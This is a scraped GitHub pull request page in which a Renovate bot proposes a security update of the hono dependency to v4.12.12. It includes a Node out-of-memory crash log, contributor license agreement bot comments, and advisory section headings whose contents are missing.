you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml


<--- Last few GCs --->
t [911:0x208a2000]    66593 ms: Mark-Compact 1341.6 (1418.0) -> 1282.1 (1422.3) MB, pooled: 0 MB, 53.43 / 0.01 ms  (+ 1899.6 ms in 366 steps since start of marking, biggest step 29.2 ms, walltime since start of marking 2114 ms) (average mu = 0.338, current [911:0x208a2000]    69197 ms: Mark-Compact 1371.6 (1447.5) -> 1309.6 (1449.7) MB, pooled: 0 MB, 126.71 / 7.97 ms  (+ 1359.7 ms in 391 steps since start of marking, biggest step 29.4 ms, walltime since start of marking 1726 ms) (average mu = 0.382, current
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----

 1: 0x735eec node::OOMErrorHandler(char const*, v8::OOMDetails const&) [/opt/containerbase/tools/node/24.14.1/bin/node]
 2: 0xbafbd0  [/opt/containerbase/tools/node/24.14.1/bin/node]
 3: 0xbafcbf  [/opt/containerbase/tools/node/24.14.1/bin/node]
 4: 0xe49875  [/opt/containerbase/tools/node/24.14.1/bin/node]
 5: 0xe498a2  [/opt/containerbase/tools/node/24.14.1/bin/node]
 6: 0xe49b9a  [/opt/containerbase/tools/node/24.14.1/bin/node]
 7: 0xe5a89a  [/opt/containerbase/tools/node/24.14.1/bin/node]
 8: 0xe5ec40  [/opt/containerbase/tools/node/24.14.1/bin/node]
 9: 0x18f3681  [/opt/containerbase/tools/node/24.14.1/bin/node]
/usr/local/bin/node: line 18:   911 Aborted                 /opt/containerbase/tools/node/24.14.1/bin/node "$@"

cla-assistant · 2026-04-16T05:49:11Z

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

cla-assistant · 2026-04-16T05:49:13Z

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

chore(deps): update dependency hono to v4.12.12 [security]

d12cbd1

renovate Bot added dependencies Pull requests that update a dependency file security labels Apr 16, 2026

renovate Bot enabled auto-merge (squash) April 16, 2026 05:48

renovate Bot added dependencies Pull requests that update a dependency file security labels Apr 16, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency hono to v4.12.12 [security]#169

chore(deps): update dependency hono to v4.12.12 [security]#169
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-hono-vulnerability

renovate Bot commented Apr 16, 2026

Uh oh!

renovate Bot commented Apr 16, 2026

Uh oh!

cla-assistant Bot commented Apr 16, 2026

Uh oh!

cla-assistant Bot commented Apr 16, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Apr 16, 2026

GitHub Vulnerability Alerts

Summary

PoC

Impact

Severity

Summary

Details

PoC

Impact

Discussion

Severity

Summary

Details

PoC

Impact

Severity

Summary

Details

Impact

Resolution

Severity

Improper Authorization in Hono (JWT Audience Validation)

Recommended secure configuration

The original description by the reporter

Summary

Details

Impact

Severity

Summary

Details

Impact

Resolution

Severity

Summary

Details

Impact

Resolution

Before (vulnerable configuration)

After (patched configuration)

Severity

Summary

Details

Impact

Resolution

Before (vulnerable configuration)

After (patched configuration)

Severity

Summary

Details

Impact

Affected Components

Severity

Summary

Details

Impact

Affected Components

Severity

Summary

Details

Impact

Affected Components

Severity

Summary

Details

Impact

Affected Components

Severity

Summary

Details

Impact

Severity

Summary

Details

Impact

Severity

Summary

Details

Impact